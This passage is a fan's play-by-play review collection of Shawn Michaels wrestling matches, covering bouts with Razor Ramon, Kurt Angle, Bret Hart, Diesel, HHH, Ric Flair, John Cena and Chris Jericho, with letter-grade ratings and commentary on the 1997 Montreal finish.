Kane making his debut here was perfect as well, with the story being just far enough in the past that people weren’t thinking about it but not far enough that everyone knew who Kane was as soon as he walked out. This set up a feud that went on and off for thirteen years between the brothers, but we’ll get to that later. By the way, I told you Fake Diesel would be worth something someday. He’s the guy playing Kane.

And of course from Wrestlemania X.

Intercontinental Title: Shawn Michaels vs. Razor Ramon

Shawn has Diesel with him here. Diesel is told to leave but just doesn’t because that’s the kind of guy he is. Basic stuff to start with Shawn blocking a hip toss but getting chokeslammed instead. They hit the ropes to build some speed and Shawn hits a neckbreaker. Razor gets sent to the floor and there’s a clothesline from Diesel, earning him another ejection which actually works this time.

Anyway Shawn gets punched in the jaw and Razor takes over again. Shawn is knocked into the corner before a BIG clothesline puts him on the floor. Razor exposes the concrete but we head back inside before he can use it. The Razor’s Edge is loaded up but Shawn backdrops Ramon over the top and onto the concrete, possibly injuring an elbow. Shawn gets the ladder but Razor jacks his jaw to stop it. The ladder is slid inside but Shawn hits a baseball slide to knock it into Ramon’s ribs.

Back inside again and the ladder is rammed into Razor’s ribs both in the corner and on the mat. Shawn throws the ladder onto Razor’s back which looks SICK. He tosses it at Razor against the ropes and goes for a climb, only to have Razor pull Shawn’s tights down and give us a rather unpleasant (or pleasant depending on your preferences) view. Not that it matters as Shawn knocks him down and climbs again, this time hitting a pretty famous splash to crush Razor again.

Razor saves another climb by shoving the ladder over, sending Shawn onto the top rope. We get a camera shot from above the ring, showing both guys laid out on the mat. Cool shot. Back up and Michaels is whipped into the ladder in the corner, knocking him out to the floor. Razor rams the ladder into Shawn’s chest with his back against the post. If that’s not enough, Razor launches Shawn into the ladder against the apron to keep Michaels in agony.

Back in and Ramon BLASTS Shawn with the ladder to knock him to the outside again. Razor climbs up but Shawn dives off the top rope to knock him down. The ladder falls onto Shawn in the process to keep both guys on the mat. They both start to climb but the ladder is bent. Shawn is higher up but can’t hang in a slugout with Razor. Michaels gets punched down but the ladder gives way under Razor, sending him down.

Ramon climbs again but Shawn dropkicks the ladder which doesn’t topple over this time. In a smart move, Shawn pushes the ladder over onto Razor’s back to take control again. A big piledriver puts Razor down so Shawn goes to the corner. In another famous visual, Shawn rides the ladder down onto Razor, crushing him yet again. Since he’s a jerk though, Shawn puts the ladder over top of Razor, but Ramon gets up and knocks Shawn off the ladder. Michaels gets tangled in the ropes, allowing Razor to climb up to unify the titles.

Rating: A+. This is one of the matches that reignited the midcard scene after things had died down for a bit. It also paved the way for the insane style that would start to dominate about five years later. That being said, it’s still a freaking AWESOME match with some iconic spots such as the splash. It also started Shawn on the roll of a lifetime, as the next year he would be in the world title match at Wrestlemania then win the title the following year. This match is required viewing for fans.

We’ll change from the classics to one I bet you’ve never seen and probably don’t know exists. Back in 1998, Shawn broke his back and didn’t wrestle until 2002…..except for a match in his TWA promotion on April 4, 2000.

TWA Title: Shawn Michaels vs. Venom

Bunkhouse Brawl, meaning anything goes. Shawn is champion after being handed the title by Justin Credible. Venom is a big guy that looks like a tall Jerry Sags minus the tattoos. He’s introduced as the owner and CEO of the TWA and brings a bunch of weapons. Shawn comes out to his WWF music and in street clothes before throwing some weak rights. Venom kicks him in the face as the announcers imply that this is title vs. ownership of the company.

They head outside with Shawn going back first into the barricade and drops him throat first across for good measure. Back in and Shawn comes back with a trashcan to the head followed by some crutches to the spine. Shawn takes his boot off and nails Venom in the face as the announcers explain some backstory: Venom was champion and lost a match for control of the company, only to have the winner turn on Shawn and give Venom the company. Justin Credible then won the title and gave it to Shawn, setting this up.

Shawn finds a small ladder and nails Venom in the face before dropping a very safe fist to Venom’s face. Back to the floor with Venom busted open before heading inside again for right hands to the cut. A baseball slide sends the ladder into Venom’s face and they head back to the floor and into the crowd. Venom nails a low blow and hits him in the back with a trashcan. He stacks up two tables in front of a platform before taking the fight onto said platform. Of course Shawn blocks a throw and hiptosses Venom through the tables in a big crash.

They head back inside with Venom throwing salt in the eyes, allowing him to nail Shawn with a Singapore cane. Apparently that’s a callback to earlier in the story. A bloody Shawn is handcuffed to the ropes and Venom nails him with the cane. Venom says you’re about to see history but some guy named Shooter Schultz comes in and suplexes Venom onto a table. That’s one heck of a table though as two suplexes and a powerbomb don’t break the freaking table. Schultz uncuffs Shawn, allowing him to powerslam Venom through the table, setting up Sweet Chin Music for the pin.

Rating: C+. This was shockingly good with Shawn clearly not being able to do all his usual stuff but actually moving instead of just standing there in the middle of the ring. It was very much like a Vince McMahon match as he can’t wrestle but can still brawl, and that’s all the fans needed to see, plus Chin Music of course.

Next up is a fairly classic match from Wrestlemania XXI.

Shawn Michaels vs. Kurt Angle

This was when Angle was the wrestling machine so this should be awesome. Kurt takes in the YOU SUCK chants because that’s how awesome he is. I should mention the set as it has the Hollywood sign on one side and a movie marquee on the other side which says Now Playing and then the match, making it feel all the more special. They stare it down to start until Shawn slaps him in the face.

Angle takes it to the mat and rides Shawn to frustrate him. Shawn gets to a rope and gives Kurt a look like “o………..k then time for a new plan.” Michaels grabs a headlock takeover to slow things down but the fans are behind Kurt. Kurt fights up but can’t escape the hold without using the ropes. Nice storytelling there with Shawn gladly going to the ropes but Angle going to them out of frustration.

Off to a short arm scissors by Shawn for a bit but Angle uses raw power to lift Shawn up into the air. However, since Shawn had that move used on him back in 1992 by British Bulldog, he knows how to roll through into a sunset flip for two. See, THAT is how you play to older fans with some awesome psychology. Back to the headlock as Angle is getting frustrated by Michaels dominating the mat.

Angle takes it into the corner to brawl with Shawn but Shawn ties him up instead. This is also a callback to Wrestlemania XII where Shawn used the exact same strategy on Bret. Angle grabs a quick ankle lock but Shawn rolls through and a Cactus Clothesline puts them both on the floor. Angle loads up the announce table but opts to pick up Shawn in the Angle Slam and ram Shawn back first into the post to take over again.

Back in and Angle gets two off a suplex before putting on a body vice with a chinlock. The fans are split here but Shawn fights up with some chops to take over. Kurt will have none of that though and suplexes Shawn down to stop the comeback bid. Another belly to belly gets two and it’s off to a chinlock with a knee in Shawn’s back. Michaels gets up again and they slug it out with Angle taking Shawn down with a hard clothesline.

Shawn blocks a superplex attempt but Kurt rolls away from the top rope elbow. There go Angle’s straps but Shawn counters the Angle Slam and backdrops Kurt to the floor. Shawn goes up and half dives/half falls onto Angle with a cross body. As they get back in, Angle tries his German suplex off the apron but Shawn kicks him low like a good former villain. With Angle on the announce table, Shawn hits a gorgeous springboard spinning cross body to send Angle onto the floor as the table doesn’t break.

Both guys make it in on different sides of the ring at nine. Angle is bleeding from the mouth. They slug it out again with Shawn taking over. There’s the forearm and nip-up as Shawn’s back is perfectly fine all of a sudden. Now the big elbow hits but the superkick is countered into the ankle lock but Shawn FINALLY makes the rope. The Angle Slam is rolled through but Angle counters into the ankle lock but Shawn counters into a rollup for two. Another superkick is caught and there’s the Angle Slam for two.

To show how angry Kurt is, he puts his straps up just so he can take them down all over again. In a scary spot, Angle tries the moonsault but Shawn doesn’t roll away far enough, sending Angle’s face into Shawn’s side. Shawn goes up again but Angle runs up the corner for the belly to belly off the top. Somehow that only gets two and Angle yells at Shawn, talking about how Michaels’ days are done. Shawn shoves him back and superkicks Angle down but he can’t follow up.

The cover eventually gets two and Shawn isn’t sure what to do now. He slowly stands up but Angle grabs the ankle lock again. Shawn tries to kick Angle off but Kurt won’t let go. They’re in the middle of the ring with Shawn writhing in pain. Angle puts on the grapevine and Shawn is all but dead. He hangs on for as long as he can before FINALLY tapping out to give Angle the win.

Rating: A+. Angle and Shawn at Wrestlemania having a masterpiece. Who would have ever seen that coming? The match was excellent all around and the match never stopped being great. They would have another masterpiece at Summerslam which again shouldn’t surprise anyone. Great match here and definitely worth seeing if you haven’t before.

We’ll jump back to a match that’s much more infamous than great. From Survivor Series 1997.

WWF World Title: Bret Hart vs. Shawn Michaels

Shawn is European Champion coming into this for no particular reason other than he wanted Bulldog to not have the title anymore. Shawn wipes himself with the Canadian flag during his entrance to further make himself public enemy #1. We get the long tracking shot for Bret’s entrance which is always cool for some reason. Shawn jumps Bret to start but Bret snaps on him and beats Shawn right back down to the delight of the crowd.

A HARD clothesline puts Shawn on the floor and Bret is going off. I don’t think the bell rang yet. Bret takes it to the crowd and Shawn is reeling. Vince, Slaughter and a half dozen referees are at ringside now. JR talks about how this could be Bret’s last match if he loses. Shawn gets an American flag bandana and chokes him into the crowd. Remember the match hasn’t started yet. Bret backdrops Shawn over the barricade and back to ringside.

Shawn keeps trying to piledrive Bret on the concrete but Hart keeps escaping. They head back into the crowd with Bret in total control. They go to the entrance and Bret decks a referee. Back into the ring they go and the bell FINALLY rings as Bret chokes Shawn with a Fleur de Lis. Shawn comes back with the forearm and nipup as the fans chant that Shawn is gay.

Michaels chokes with the flag as Bret has a busted hand. Shawn stalls a lot because that’s the kind of guy he is. Back to the floor with Shawn pounding on Bret and spitting on the crowd. Shawn drops Bret face first on the steps and breaks a Canadian flag over his knee. Back in and Shawn hits a top rope ax handle and it’s off to a front facelock. Bret escapes in what has to be the loudest reaction to a broken front facelock of all time.

Shawn comes back and slams Bret down but Bret rolls through a cross body off the top for two. Bret puts on the Hartbreaker, the figure four around the post. Bret goes after the knee in almost perfect Ric Flair fashion, down to the cannonballs down to the knee and a Figure Four. Shawn finally turns it over and Bret gets a rope. A Russian legsweep gets two for Bret as does a snap suplex. Bret goes up but Shawn pulls the referee into the way so the shot hits Hebner instead. Shawn rakes Bret’s eyes, puts Bret in the Sharpshooter, and Hebner calls for the bell to give Shawn the title in the most infamous moment ever in wrestling.

Rating: B-. I’m only talking about the match here. The main thing to keep in mind about the famous ending is that there was about twenty minutes of brawling and of the actual match before the finish. I think that’s something people forget because of the famous part. The match we got was quite good, which isn’t really surprising given how familiar these two were with each other. It’s no masterpiece, but it felt like an epic encounter, which is what it needed to do.

Now we’ll get to the big white elephant in Montreal. I’ve not going to pretend like I have some big insight into what happened because I certainly don’t. Books have been written about what happened here and there’s no point in rehashing the whole thing all over again. In short, it was Bret’s last match, he didn’t want to lose the title in Canada, a screwy finish was agreed on, Vince changed the ending and screwed over Bret, Bret wasn’t seen in WWE for almost thirteen years.

After all the years since then, I think both parties were wrong, but Bret needed to get over himself. So what if he had to lose the title in Canada? I get that he couldn’t stand Shawn, but for someone who seems to pride himself on being oh so professional, it’s pretty lame to say he doesn’t want to lose the title in another country when he made it clear he was leaving.

Vince was in major trouble at this point and was under a lot of pressure. While I don’t think he believed Bret would trash the title on Raw, he had to be worried about something happening, like the title having no value if Bret never lost it, which is understandable. Did he go about the issue the right way? No, but it wasn’t a normal circumstance. Vince did what he thought was best and while it caused a ton of controversy, it was one of the few things he could do. There are a to of different ways you can look at it, and there isn’t a single right answer.

WWF World Title: Shawn Michaels vs. Diesel

Remember this is no holds barred so anything goes. We see Omaha resident and legendary wrestler Mad Dog Vachon at ringside who will become important later. No flashy entrance from Shawn as he just power walks to the ring and takes the belt off on the way. He pounds away on the much bigger Diesel but a knee to the ribs puts the champion down. A big dropkick sends Diesel to the floor and a moonsault press takes him down onto the concrete.

Shawn steals a boot from the Spanish’s announcer and lays out Diesel back inside for two. Back up and Diesel whips Shawn up and over the corner before hammering him off the apron and face first into the barricade with a nasty bump. Back in and Diesel runs Shawn over again before walking around very slowly. Snake Eyes (a face first drop onto the buckle) drops Michaels again and Diesel yells at Shawn’s trainer Jose Lothario that this is how we do it in the 90s.

A big side slam drops Shawn again and Diesel chokes the referee with his wrist tape for no apparent reason other than evil. Diesel steals the referee’s belt to whip Shawn even more before wrapping it around Shawn’s neck and hanging him over the top rope. He even ties the belt around the middle rope so he can grab a chair to blast Shawn in the back. They get back in the ring and another chair shot to the back puts Shawn down yet again. A third shot hits the top rope, sending the chair bouncing back into Diesel’s head.

Now Shawn grabs the chair but Diesel hits him low before Shawn can swing it. A BIG backdrop keeps the pressure on Shawn’s back and gets a two count. Diesel cranks on Shawn’s neck but Michaels fights up, only to be dropped with a series of forearms, knocking him out to the floor. In the big spot of the match, Diesel Jackknifes Shawn through the announce table (big deal back then), further destroying his back. That looked AWESOME and Vince begging Shawn to “just let it be over” makes it even better.

Diesel tries to pull Shawn back in but Michaels finds a fire extinguisher under the ring and blinds the big man so he can pound away. The fans are going NUTS over this comeback. Shawn pulls in a chair and goes to town on Diesel but lets Diesel get back up for a clothesline and a big boot to the jaw. Diesel loads up another Jackknife but Shawn punches his way out of it and drops a top rope elbow to the big man’s chest. Shawn tunes up the band for the superkick but Diesel blocks the boot and clotheslines Shawn down again.

A third clothesline puts Shawn on the floor as Vince gets in the very almost famous line of “We said it would be no holds barred but we didn’t expect this.” Diesel drops Shawn throat first on the barricade before going over to Mad Dog Vachon. He chokes Vachon down and RIPS OFF HIS PROSTHETIC LEG. Back in and Shawn hits Diesel low, blasts him in the face with the leg and hits Sweet Chin Music to retain the title and blow the roof off the place.

Rating: A+. This was a WAR and one of the best brawls you’ll ever see. They were beating the tar out of each other out there with Shawn bumping around like a maniac and making Diesel’s offense look great. This gave Shawn the credibility that he needed as champion to show he could fight as well as wrestle and it was a great performance to boot. It’s one of my all time personal favorite matches and still more than holds up over seventeen years later. Probably the best In Your House match to this point.

Shawn would come back from four and a half years off for this showdown at Summerslam 2002.

Shawn Michaels vs. HHH

Shawn is in jeans tonight to hide the knee braces. Michaels comes out with right hands but HHH sends him to the outside. Not that it matters as Shawn is right back inside with more right hands. HHH is tossed to the floor and Shawn hits a nice dive to take him out. Remember that this is Shawn’s first match since March of 1998, or four and a half years ago.

A clothesline puts HHH down again and it’s garbage can time. HHH gets in a shot to the ribs and drops Shawn face first onto the barricade to get a breather. Shawn comes back in and is tossed over the top again but he skins the cat to a big pop. A trashcan shot caves in HHH’s head and a top rope fist to the head puts him down again. Shawn tunes up the band but HHH counters into a backbreaker to get to the meat of the match.

Another backbreaker has Shawn in agony and flopping like a fish as only he can. HHH gives a crotch chop and kicks Shawn down with ease. It’s chair time but a shot to the back only gets two. Shawn escapes a suplex into an O’Connor Roll for two but walks into a facebuster. A DDT onto the chair is only good for two but Shawn is busted open. HHH takes off Shawn’s belt and whips him in the back as the screaming continues.

And now it’s sledgehammer time. Shawn gets in some shots to the ribs to escape and HHH drops the hammer. The fans are behind HBK but he gets whipped into the corner and it’s off to the abdominal stretch. HHH gets caught holding the ropes and Hebner physically breaks the hold before yelling HHH into the corner. They slug it out again and HHH loads up a superplex but Shawn shoves him off, only to get crotched. HHH blasts Shawn’s wide open back with the chair and the crowd is somber.

A backbreaker onto the chair has Shawn lying motionless but HHH only gets two. He covers a few more times and HHH is very frustrated. A side slam onto the chair gets another two as JR screams for a fast count. Shawn counters a Pedigree onto the chair with a low blow and both guys are down. The HBK chant starts up again and HHH has the chair superkicked into his face. Now HHH is busted open too and Shawn slugs away before hitting the forearm and the nipup to blow the roof off the place.

Shawn backdrops him down and cracks HHH in the head with the chair. HHH is whipped over the corner and out to the floor where Shawn gets to beat on him with the belt. Shawn knocks him onto the announce table and hits him in the head with Hugo Savinovich’s shoe (Lawler: “A heel for a heel!”). HHH is sent into the steps and here’s a ladder being slammed into HHH’s face.

Some shots to the ribs have HHH screaming and the ladder is placed against the post with HHH being catapulted face first into the steel. That’s only good for two so Shawn heads outside again to get the ladder. HHH baseball slides the ladder into Michaels and pounds away at the cut head. For some reason HHH tries to come in off the top and gets caught in a superplex for two.

The crowd is losing their minds off these kickouts. A sunset flip gets two for Shawn but he gets caught by the knee to the face for two. HHH brings in the steps but Shawn drop toeholds him face first into the steel. A clothesline puts HHH on the floor and Shawn puls out a table. Well why not since we’ve used everything else.

Shawn puts him on the table and splashes him from the top rope in the big spot of the match. Both guys are DONE and the fans are in awe. Shawn sends the ladder back inside, says he loves us all, and drops the elbow from the top. Michaels has that look in his eye and tunes up the band but HHH catches the kick coming in. He loads up the Pedigree but Shawn sweeps the legs and rolls HHH up for the pin to blow the roof off the place again.

Rating: A+. Anyone who has read my stuff over the years knows I do not like a lot of things about HHH. For tonight, forget all that because this is one of the best matches of all time. I’ve seen this match several times and it still had me smiling to see Shawn make comeback after comeback and give HHH every single thing he deserved. It goes to show how great Shawn is as he came in after being gone nearly FIVE YEARS and does this. That’s remarkable when you think about it and is one of the greatest performances of all time.

Let’s talk about the match a little bit. It’s an excellent example of how to book a comeback, which is probably Shawn’s greatest strength. Shawn had the people believing that he was DEAD but he kept hanging in there time after time and made the huge comeback just like the crowd wanted. The other thing that works so well is the ending which a lot of people overlook.

The crux of this match was the destruction of both guys and seeing how far they could take it. At the end though, Shawn uses a basic wrestling counter and a cradle to win, totally shifting gears and beating HHH, the Cerebral Assassin, by thinking. That’s INCREDIBLE psychology and the perfect way to end this match. All in all, it’s a masterpiece and arguably the best performance of all time, all things considered.

Post match HHH becomes the universal evil by hitting Shawn square in the back with the sledgehammer and leaving him laying. Shawn is taken out on a stretcher.

Next up is a Wrestlemania double shot, starting with Shawn retiring a legend.

Ric Flair vs. Shawn Michaels

Feeling out process to start with neither guy being able to get the advantage. A hip toss puts Shawn down and Ric shouts about being Old Yeller, which Shawn referenced to set this up. Shawn chops him hard and Flair’s lip is bleeding. They slug it out in the corner with Shawn taking over and going up top, only to be slammed down. Now Flair goes up and hits a cross body for two. Jerry: “IT ACTUALLY WORKED!”

Ric goes after the knee but Shawn kicks him to the floor. Shawn loads up an Asai Moonsault and hits table, landing square on the edge ribs first. That looked HORRIBLE and Shawn is in big trouble. Back in and a belly to back suplex gets two for Flair. Naitch stays on the ribs and hits a good looking suplex for two. Shawn comes back with a backdrop to send Flair to the floor and follows up with a moonsault which mostly hits floor.

Both guys make it back inside at nine and they chop it out. The forearm and nipup connect and Shawn starts slugging away. A slam sets up Shawn’s top rope elbow but it hurts his ribs in the process. Michaels tunes up the band but can’t bring himself to do it, allowing Flair to grab the Figure Four which is quickly broken. They fight to the mat and try Flair’s bridge up out of a pinfall into the backslide but Ric is just too old.

Instead it’s a sunset flip for two for Shawn but Flair takes out the knee with a chop block. The Figure Four is countered into an inside cradle for two. NOW the Figure Four goes on in the middle of the ring but Shawn finally rolls it over into the ropes. Back up and Shawn hits the superkick out of nowhere but the cover only gets two. Shawn tunes up the band again but gets kicked low for two.

Michaels comes back with a reverse Figure Four but Flair manages to crawl to the ropes. A quick rollup with a handful of trunks gets two for Flair and he fires off chop after chop. Out of nowhere Shawn superkicks Flair down but Michaels can’t cover. Flair slowly gets up and says bring it. Shawn looks at him, says “I’m sorry. I love you.” and superkicks Flair into retirement.

Rating: B. This is a hard one to grade. The match itself was entertaining, but it wasn’t supposed to be a competitive spectacle. This was designed to give Flair a great match to go out on and they almost did that. They made no secret about who was winning and that’s ok, but at the same time it was like delaying the inevitable. It was a good match to send him out on and the fans were happy to see the famous spots one more time.

Flair gets a well deserved standing ovation. This match should have closed the show and was going to, but Flair said no because the title match should close the show. Usually I would agree but in this case, Flair should have ended the show. Ric takes the long walk up the ramp to nonstop applause.

And another of Shawn’s Wrestlemania main events, this time from Wrestlemania XXIII.

Raw World Title: John Cena vs. Shawn Michaels

Remember that they’re tag champions here but neither guy wears the belt. I can’t say I blame them of course. Cena’s special entrance this year is driving a muscle car from “the parking lot” into the arena due to being in Detroit. They circle each other to start before Shawn slaps him in the face. A quick headlock doesn’t do much for Shawn so he uses his speed advantage to pop John with some right hands. Back to the headlock and it works a bit better this time as Shawn takes Cena down to the mat.

Cena has had enough of this defense thing and rings Shawn’s bell with a clothesline. Shawn is sent to the apron but he tosses Cena from the ring and out to the floor. A BIG chop staggers Cena but Shawn’s Asai Moonsault hits mostly table and Shawn is hurt. Luckily for him though Cena is even more hurt as they head back inside. Shawn chops away in the corner before going after Cena’s knee. The leg is wrapped around the post and Cena is in trouble. The referee asks Cena if he can continue and of course Cena says yes.

Shawn keeps kicking at the leg before wrapping it around the ring rope. With Cena down in the corner, Shawn stares straight at him to play even more mind games. Back up and John hits a big right hand to send Shawn flying across the ring. Shawn charges straight back at him with a shoulder into the ribs in the corner to keep control. Michaels charges again but Cena’s leg gives out and Shawn goes head first into the post, busting him open.

Cena has had enough of getting beaten up so he punches Shawn down before firing off some mounted right hands. The ProtoBomb and Shuffle hit but Shawn punches his way out of the FU. Cena is sent into the corner but manages to duck Sweet Chin Music. The referee isn’t so lucky though and is knocked senseless. Cena tries the FU but is countered into a DDT to put both guys down.

With no referee in sight, Shawn rolls to the floor and hits a sick piledriver onto the steps. The THUD when Cena’s head hit was a little scary. The back of Cena’s head is cut open BAD on top of that. Back in and here’s a second referee but the count only gets two. There are the forearm and nip-up as the blood flows down Shawn’s face. The top rope elbow connects but Cena blocks Chin Music with a big clothesline to put both guys down again.

They slug it out in the middle of the ring but the FU is countered again into a sunset flip for two. Shawn’s leap frog is caught in the FU but Cena is too banged up to cover. The very delayed cover gets two and the champ is getting frustrated. With nothing else to do he tries an FU off the top, only to be shoved off by Shawn. Michaels dives at Cena but gets caught in the FU position. He counters that as well though by landing on his feet, only to miss the superkick and have Cena try for the STFU. Cena keeps trying for it but gets small packaged down for two instead.

Shawn misses an enziguri attempt and now the STFU is on. Cena cranks back on it but Shawn is only a few inches away from the rope. As Shawn starts to black out he grabs the rope and Cena has to break. He takes a bit too long though and gets in an argument with the referee, allowing Shawn to kick Cena’s head off. Another delayed cover gets two and both guys are down. In a cool spot, both guys have to lean on the other to get up. The FU is countered again but Shawn can’t avoid the STFU again. Cena cranks back on it and Shawn has no choice but to tap out.

Rating: A-. This was a much better match than the HHH match from the year before for a few reasons. First of all, there was a story behind the match. As simple as it was, Shawn being Cena’s partner gave them a bond and seeing them fight was something interesting to see. Second, the drama was better here. Cena felt like he was in real trouble and that the title was in danger, which I never felt last year. It’s a better match overall and they would have even better ones in the future.

In 2008, Shawn would have an awesome feud with Chris Jericho, culminating with this match at No Mercy 2008.

Raw World Title: Shawn Michaels vs. Chris Jericho

Big match intros are out of the way and we’re ready to go. Shawn goes for the arm to start but then says screw this and tries Chin Music. Jericho moves and Shawn charges shoulder first into the post. Out to the floor and Jericho throws Shawn at the ladder but Shawn climbs it quickly and comes off with an even quicker cross body. Jericho throws him into the post shoulder first again and goes for the ladder.

Shawn drop toeholds him though and Chris’ face hits the ladder. There’s a second ladder but Jericho takes Shawn down and hooks the Walls on the floor. For some reason he lets it go and brings the ladder into the ring, but Shawn teeter totters it into his face. Back in Shawn climbs up but Jericho shoves him off and into the top rope. The ladder goes into Shawn’s face and Jericho is bleeding from the lip a bit.

There are two ladders in the ring now. Shawn counters the bulldog and sends Jericho’s leg into the ladder. Shawn lays a ladder across the bottom rope and drops Jericho’s knee onto it before hooking up a Figure Four. After it’s broken, Jericho kicks one end of the ladder into the post so that it bounces back and hits Shawn in the shoulder and then into the face. It might have been to the previously injured eye. Jericho slams a ladder on Shawn’s head in a FREAKING OW MAN moment.

He climbs up but Shawn shoves it well enough to make Jericho stop and kick him away, causing Jericho to fall off and land on his feet. Chris puts a ladder on the top rope in the corner with the top of it pointing into the ring. Shawn throws Jericho onto the ladder and he falls out to the floor. Out to the floor and Shawn sets up the mega ladder. He hits Jericho with the ladder a few times to keep Jericho down and loads up the announce table.

Jericho is placed on the table but gets up and climbs up the ladder after Shawn. He gets in a few shots and tries a belly to back through the table. Shawn shifts his weight and lands on top of Chris, but they’re both dead anyway. Back in the ring and Shawn goes up, looking to ride the ladder down onto Jericho. The champ is ready for him though and dropkicks the ladder into Shawn, crotching him.

Jericho loads up a superplex but Shawn shoves him off. He tries the elbow but Jericho pulls the ladder onto himself so that the elbow hits the steel coming down. FREAKING OW MAN! Shawn tries the superkick but Jericho pulls up a ladder and slams it into Shawn’s head. Jericho puts the ladder on Shawn and hits the Lionsault onto it, which would seem to take a lot more out of Jericho than Shawn.

He puts the ladder on top of Shawn and tries to go up but Shawn kicks the ladder forward, sending Jericho crashing down with NOTHING to catch his fall. He’s holding his knee on the floor while Shawn slowly climbs. Jericho gets back in and shoves the ladder over, sending Shawn into the ropes. They both climb and slug it out but Jericho gets his leg caught in the ladder and is hanging upside down. Cue Cade for the save so Shawn superkicks him down. Jericho is back up and it’s another race. They both grab the belt and it comes unhooked and it’s a tug of war. Jericho headbutts the bad eye to pull down the title to retain.

Rating: A. Yeah it’s great. You knew this was going to be rated very highly coming in. Everyone loves this match and it’s not hard to see why. Both guys are masters at this and they beat each other up very well in the process. As with most great ladder matches, the matches where it’s about the guys and there happen to be ladders involved are much better than the other way around. Great match and a great ending. This would have been a lot better live I think.

Let’s look at another Bret match because you can’t have enough of those. From Survivor Series 1992 and make sure to take note of the ending.

WWF World Title: Bret Hart vs. Shawn Michaels

Sherri still sings Shawn’s theme music and this is champion vs. champion, but only one title is on the line. Feeling out process to start and they hit the mat with Shawn getting in way over his head. Shawn works on the arm and pulls Bret to the mat but Bret nips up. So that’s where Shawn got it from. Bret cranks on the arm and Shawn cranks on the hair. Things speed up and Shawn trips Bret up but it’s right back to the arm. This technical stuff isn’t working for Shawn so far.

Michaels gets to the arm but Bret easily sends him to the floor to escape. Hart takes over on the arm again and Shawn can’t get anything going in the first five minutes or so. A cross body gets two for Bret as does a sunset flip. It’s back to the arm and Shawn is getting frustrated. They hit the ropes and Shawn catches Bret in a hot shot to finally get in some offense. A thumb to the eye puts Bret back in trouble and he charges into the post to make it even worse.

Shawn DDTs the arm as the roles have completely reversed now, although it’s due to evil ways now instead of technical and good ones. See how good psychology can be when it’s done right? Bret’s chest to the buckle spot gets two for Shawn and it’s chinlock time. They fight over a top wristlock but Shawn uses the hair again to pull Bret back to the mat. Bret fights out of the chinlock but gets dropkicked right back down for two. Shawn is one step ahead of him in everything Bret does right now.

A backbreaker gets another two for Shawn and let’s hit that chinlock again. Shawn ducks his head and a swinging neckbreaker puts Shawn down, but cheating by means of a shot to the throat stops Bret again. A front facelock goes on and Bret rams Shawn into the corner with some shoulders to counter. Shawn charges into a boot and a bulldog puts him down. Bret misses a middle rope elbow and both guys are down again.

Michaels hits a jumping back elbow to the face for two and it’s back to the front facelock. After two arm drops for Bret, he pulls off the fastest small package you’ll see in a long time for two. A suplex by Hart puts both guys down but things start speeding up anyway. Shawn gets sling shotted into the corner and hits the post as is his custom. Bret launches him into the corner and kicks Shawn so hard that Shawn gets crotched on the top rope.

A BIG baaaaaaaaaaaaack body drop gets two on Shawn and Bret is surprised. Russian legsweep gets two for the world champ and a backbreaker sets up the middle rope elbow for the same. Bret superplexes Shawn down but he can’t cover immediately so it only gets two. There’s a sleeper from Hart and the referee gets bumped. That goes absolutely nowhere and he’s up a few seconds later. Ok then.

Bret tries another sleeper but Shawn sends him to the floor in the exact same way that Bret sent Shawn to the floor earlier. NICE! Bret gets posted and we head back inside for a whip to the corner for two. The problem here for Shawn is that he doesn’t have a big time finisher as his only big move was a stupid suplex move. Just as I type that, Shawn superkicks Bret down. It’s not a finisher yet though so he doesn’t even cover.

Bret blocks the tear drop (finisher) suplex but the second attempt connects for two. Bret uppercuts Shawn into the ropes but Hart misses a charge and crotches himself on the top. Shawn goes up to the middle rope but he jumps right into the Sharpshooter (in the EXACT same sequence that ended regulation of the Iron Man Match) for the submission to keep the title on Bret.

Rating: A. It’s Bret vs. Shawn with almost 27 minutes. Were you expecting anything but a scientific war? If you give Shawn the superkick here to use as a finisher, there’s no way this isn’t even better. Great match here with both guys trading great psychology the whole way through. Really good main event and a great way to show that Hulk isn’t needed to fire up a crowd as they were all kinds of into this match.

Here’s a classic Raw from April 23, 2008.

Shawn Michaels vs. John Cena

There’s almost an hour to go in the show so you know this is going to be something good. Shawn works on the shoulder to start but Cena counters with a headscissors into a stalemate. They do the exact same sequence and then try it again, but Cena goes for a drop toehold which Shawn escapes. Another STFU attempt sends Shawn running to the ropes. Cena is very pleased that he got that close.

Cena tries to grab the leg this time but Shawn makes the rope. They get in each others’ faces and it’s a slugout. Back from a break and the fans are getting way into this. Cena takes him down with a headlock instead which lasts for a good while. A big clothesline takes Shawn down and it’s chinlock time. Shawn pops back up and is immediately clotheslined back down.

Sweet Chin Music is avoided and the FU is countered by Shawn heading to the floor. We take another break and come back to Shawn getting in a shot in the corner. He’s mostly the heel in this but it’s not full fledged. They speed things up and Cena hits a World’s Strongest Slam for two. Release fisherman’s suplex gets two. Throwback gets two. They slug it out and Shawn counters a suplex into a neckbreaker for two.

Another slugout results in the flying forearm by Shawn. He nips up and hammers Cena down and goes to the corner for the elbow. It hits but instead of covering Shawn stomps the mat for the Chin Music. Cena ducks and Shawn grabs a quick backslide for two. The shoulder block misses and Cena may have hurt his shoulder on the crash to the floor. Shawn dives over the floor but Cena catches him in mid-air and slams him into the steps.

Back from break #3 and they’re both in the ring again. It should be noted that we’re probably half an hour into this and Cena looks FINE. He doesn’t look tired, he doesn’t look winded, he doesn’t even look sweaty. That’s almost scary. Cena charges into the post and Shawn has a target. He hooks a combination hammerlock/abdominal stretch on the mat before driving in some knees on the arm.

Cena shrugs off most of it and starts his finishing sequence, taking Shawn’s head off with a clothesline. The Shuffle hits but the FU is countered into Chin Music attempt into the FU for a VERY close two. We take another break and come back with Cena throwing Shawn to the floor. Cena rams his back into the post and we head back inside. Delayed vertical suplex gets two.

Bearhug time which is proof we’re in a big match as you almost never see a face use one of those. Shawn fights out of it but gets thrown over the corner and out to the floor. Back in Cena hits the top rope Fameasser which seems to be a new move for him. They go to the corner for a superplex but Cena instead tries an FU off the top, which Shawn counters into a powerbomb off the top to put both guys down.

Out to the apron and Shawn knocks him face first into the announce table. The look on his face says THAT REALLY HURT! Out to the floor and Shawn loads up a piledriver on the steps but Cena backdrops him onto the floor as we take I think break number five. Back with them on the announce table and Cena is all fired up. Back inside Cena hooks the STFU but it’s not cranked on perfectly.

